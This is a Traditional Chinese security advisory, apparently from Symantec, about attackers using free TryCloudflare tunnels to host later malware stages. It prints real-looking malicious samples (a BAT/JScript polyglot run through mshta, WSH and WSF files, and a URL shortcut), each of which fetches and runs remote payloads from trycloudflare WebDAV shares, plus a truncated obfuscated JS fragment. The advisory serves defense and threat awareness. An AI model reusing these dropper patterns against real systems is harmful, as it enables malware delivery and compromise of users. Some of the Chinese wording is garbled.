賽門鐵克保護用戶免遭，濫用免費隧道技術服務的攻擊

2025 年 7 月 17 日發布

點擊此處可獲取—最完整的賽門鐵克解決方案資訊

在網路威脅不斷演進的環境中，攻擊者尋求新的方法來逃避偵測，並在受攻擊的網路中維持存入性。其中一種日益普遍的手法是濫用合法，免費的隧道技術服務，透過濫用 Cloudflare 的 TryCloudflare 功能，就是一個明顯的例子。

網路知識：隧道技術類似 VPN 或是 SSH，用於遠端存取不在本地網路的資料和資源，使用者每次建立 TryCloudflare 隧道都會生成一個隨機子網域名；使流量經過 Cloudflare 伺服器代理傳遞，而這提供攻擊者一個便利且低成本的方式，進一步掩蓋自己的真實位置。

由於防火牆和網路位址轉換 (NAT) 會阻止其他網路的網頁瀏覽器直接連線到電腦，因此電腦通常很難充當網際網路的網頁伺服器。「TryCloudflare」是 Cloudflare 提供一項免費服務，透過網站伺服器和 Cloudflare 提供的網際網路的伺服器之間建立網路連線來解決這個問題。當伺服器使用 TryCloudflare 時，網頁瀏覽器可透過向 trycloudflare.com 的特定臨時子網域提出請求，間接連接到該伺服器。Cloudflare 會透過隧道網路內容加密提供該資訊。

由於網路的負荷是成功率很高的網路攻擊途徑，因此仍是散佈惡意程式第一階段的主要方法，但威脅份子通常希望他們攻擊鏈的第一階段能從網路伺服器下載後續階段的檔案而非電腦。他們使用現成的免費隧道技術服務，儘管有防火牆和網路位址轉換，仍可大量增加能夠繞任後續階段所需的伺服器的電腦數量，並使其流量看起來不那麼可疑。

我們必須強調 Cloudflare 是一家信譽良好的公司，為數百萬組織和使用者提供合法的產品和服務，包括 Cloudflare。

賽門鐵克不鼓勵控威脅，包括那些濫用免費隧道技術的威脅，我們已識別出用於濫用此類服務的各種檔案類型，以下是在我們的遙測中觀察到濫用 TryCloudflare 的檔案類型摘要。

library-ms 檔案

早在 2025 年 3 月，我們就曾報告過在以電子郵件附件形式傳送的 library-ms 檔案中濫用 TryCloudflare 隧道技術的情況 (曾在之前的訂購清單點中談到：賽門鐵克有效力抗，用程式庫描述檔(.library-ms)附件發動的惡意垃圾郵件行動)。

BAT 檔

微軟Windows批處理透過 TryCloudflare 隧道擷取遠端惡意內容的檔案，最後再以 MSHTA 指令執行。

```
@echo off
goto :batch

/*
:--------- JScript Section ----------*/
var objShell = new ActiveXObject("Wscript.Shell");
objShell.Run("cmd.exe /c \\\\lipid-between-fed-perl.trycloudflare.com@SSL\\DavWWWRoot\\new.bat", 0, false);
close();
</script>
:batch
rem ^^
:
:batch
mshta "%~f0"
```

WSH、WSF、URL 捷徑和 JS 檔案

WSH 和 WSF 檔案與 Windows Script Host (WSH) 相關聯。WSH 是 Windows 的腳本環境。WSF 檔案是 XML 檔案，可包含以各種語言撰寫的指令碼，並支援常數和匯入外部檔案等功能。WSH 檔案是控制檔案，包含自訂執行指令碼的屬性和參數。賽門鐵克已觀察到 TryCloudflare 在這兩種檔案類型中的使用情況：

WSH

```
[ScriptFile]
Path=\\carry-lately-hills-systematic.trycloudflare.com@SSL\DavWWWRoot\STSA38094_RE_B19030898241.pdf.wsh
```

WSF

```
<job id="main">
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
' Run pwn.bat from WebDAV share
objShell.Run "cmd /c start /min tissue-news-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\pwn.bat", 0, false
</script>
</job>
```

URL shortcut files

```
[InternetShortcut]
URL=file://pendant-ask-chi-comparable.trycloudflare.com@SSL/DavWWWRoot/67KJONSPA
IDList=
HotKey=0
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
```

JS files

具有混淆功能的 JavaScript 檔案，也會傳送至 trycloudflare.com。

```
_0x2f94[_0x2f94[_0x2f94[
```